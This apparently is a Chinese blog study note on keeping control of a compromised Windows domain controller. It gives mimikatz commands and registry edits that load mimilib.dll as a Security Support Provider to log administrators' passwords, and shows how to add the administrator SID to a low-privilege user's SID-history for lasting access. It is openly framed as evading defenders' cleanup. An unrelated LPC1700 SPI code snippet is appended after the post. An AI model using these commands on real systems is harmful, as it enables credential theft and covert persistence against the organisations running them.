1、权限维持&域控后门&SSP

本文介绍了如何在获得域控主机权限后,通过SSP临时或永久加载DLL来维持权限,以及利用SID-history修改用户属性,确保长期控制服务器。方法包括使用mimikatz执行命令、修改注册表设置和添加SID历史记录。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

用途:个人学习笔记,有所借鉴,欢迎指正!                               

个人微信

目录

前言:

一、基于验证DLL加载—SSP

1、方法一:临时生效(未重启情况生效)

(1)、 执行相关命令

(2)、等待域控管理员重新登录或切换用户

2、方法二:永久生效(重启后生效)

(1)、 上传特殊的dll文件

(2)、执行相关命令

(3)、等待服务器重启生效

3、总结

二、 基于用户属性修改—SID-history

 1、获取所有用户的SID值

 2、获取某个用户SID值

3、赋予某用户administrator权限 


前言:

很多时候拿下了一台服务器权限后,可能过几天就会无法控制,因为企业都会有专业人士定期查杀后门、杀毒检测、漏洞修复等,所以可能很快就会失去控制权限,而权限维持的目的是保证自己的权限不会掉,一直能够控制目标服务器。

以下是基于得到域控主机权限的情况下进行权限维持:

一、基于验证DLL加载—SSP

SSP—Security Support Provider,直译为安全支持提供者,又名 Security Package。简单的理解为 SSP 就是一个 DLL,用来实现身份认证,并且维持系统权限。 

1、方法一:临时生效(未重启情况生效)

(1)、 执行相关命令

 这里可以使用mimikatz进行命令执行,该命令是一次性的,所谓的一次性就是当这台服务器重启后,那么这条命令就无法再次执行了,相当于重启即失效。

privilege::debug
misc::memssp

(2)、等待域控管理员重新登录或切换用户

当管理员重新登录或切换用户后,可以看到在下述的文件路径中获取到了登陆的账号密码。

C:\Windows\System32\mimilsa.log   ##文件位置。

2、方法二:永久生效(重启后生效)

这个操作需要修改注册表的值,可远程登录目标服务器执行相关命令,也可在CS中执行命令

(1)、 上传特殊的dll文件

mimikatz中的mimilib.dll上传到域控的C:\windows\system32\目录下。

(2)、执行相关命令
#查看当前注册表中的设置值
reg query hklm\system\currentcontrolset\control\lsa\ /v "Security Packages"
#修改注册表中的值
reg add "HKLM\System\CurrentControlSet\Control\Lsa" /v "Security Packages" /d "kerberos\0msv1_0\0schannel\0wdigest\0tspkg\0pku2u\0mimilib" /t REG_MULTI_SZ

#CS中修改注册表中的值
shell echo yes | reg add "HKLM\System\CurrentControlSet\Control\Lsa" /v "Security Packages" /d "kerberos\0msv1_0\0schannel\0wdigest\0tspkg\0pku2u\0mimilib" /t REG_MULTI_SZ
(3)、等待服务器重启生效

上述命令执行完后会在注册表中添加一个mimilib也就是会调用mimilib.dll,要注意在mimilib.dll前面有一个\0是换行。并且在重启后会在C:\windows\system32\kiwissp.log记录账号密码。

3、总结

两种方法都是盗取身份认证文件,便于长久访问的权限维持,第一种方法重启后失效,第二种方法重启后才生效,各有各的好处,所以可以配合使用。

二、 基于用户属性修改—SID-history

        SID即安全标识符(Security Identifiers),是标识用户、组和计算机帐户的唯一的号码。在第一次创建该帐户时,将给网络上的每一个帐户发布一个唯一的 SID。

        SIDHistory属性的存在是为了解决用户在迁移到另一个域中的时候权限会改变的问题。例如用户zhangsan在A域中本来是管理员,迁移到B域的时候因为sid的改变有可能会变成普通用户权限,这时候如果给zhangsan用户添加一个值为zhangsan在A域中的SID的SIDHistory值就可以解决这个问题,只有域管有更改SIDHistory的权利。

原理:这个手法就是将域控管理员的SID加入到域内一些恶意用户或者权限低的用户的SID history中,这样域内账户就可以用户域管权限去访问域控了,只要不修改域账号则可以一直访问。

 1、获取所有用户的SID值

 通过获取SID可以看到只有最后的四位值不同,其实这里也就是代表不同的权限。 

shell wmic useraccount get name,sid

 2、获取某个用户SID值

powershell Import-Module ActiveDirectory
powershell Get-ADUser webadmin -Properties sidhistory

3、赋予某用户administrator权限 

privilege::debug
sid::patch
sid::add /sam:dbadmin /new:administrator

参考:

windows权限维持—SSP&HOOK&DSRM&SIDhistory&SkeletonKey_windows操作系统安全防护强制性要求内容-CSDN博客

个人公众号:我心似阳

你可以使用LPC1700系列的SSP1模块作为SPI(串行外设接口)的源码。以下是一个简单的示例代码,展示了如何初始化SSP1并发送/接收数据。 ```c #include <lpc17xx.h> // SSP1初始化函数 void SSP1_Init(void) { // 使能SSP1模块的时钟 LPC_SC->PCONP |= (1 << 10); // 配置P0.7作为SCK1引脚 LPC_PINCON->PINSEL0 |= (2 << 14); // 配置P0.8作为MISO1引脚 LPC_PINCON->PINSEL0 |= (2 << 16); // 配置P0.9作为MOSI1引脚 LPC_PINCON->PINSEL0 |= (2 << 18); // 将SSP1设置为主模式 LPC_SSP1->CR1 |= (1 << 2); // 设置时钟分频系数为8,即SPI时钟频率为PCLK / 8 LPC_SSP1->CPSR = 8; // 使能SSP1模块 LPC_SSP1->CR1 |= (1 << 1); } // 发送数据函数 void SSP1_Send(uint16_t data) { // 等待发送缓冲区为空 while (LPC_SSP1->SR & (1 << 1)); // 将数据写入发送缓冲区 LPC_SSP1->DR = data; } // 接收数据函数 uint16_t SSP1_Receive(void) { // 等待接收缓冲区非空 while (!(LPC_SSP1->SR & (1 << 2))); // 从接收缓冲区读取数据 return LPC_SSP1->DR; } int main() { // 初始化SSP1 SSP1_Init(); // 发送数据 SSP1_Send(0x55); // 接收数据 uint16_t receivedData = SSP1_Receive(); // 处理接收到的数据 while (1) { // 主循环 } } ``` 这是一个简单的示例代码,用于初始化LPC1700系列的SSP1模块,并通过SPI发送和接收数据。你可以根据自己的需求进行修改和扩展。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

++⁠⁠

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值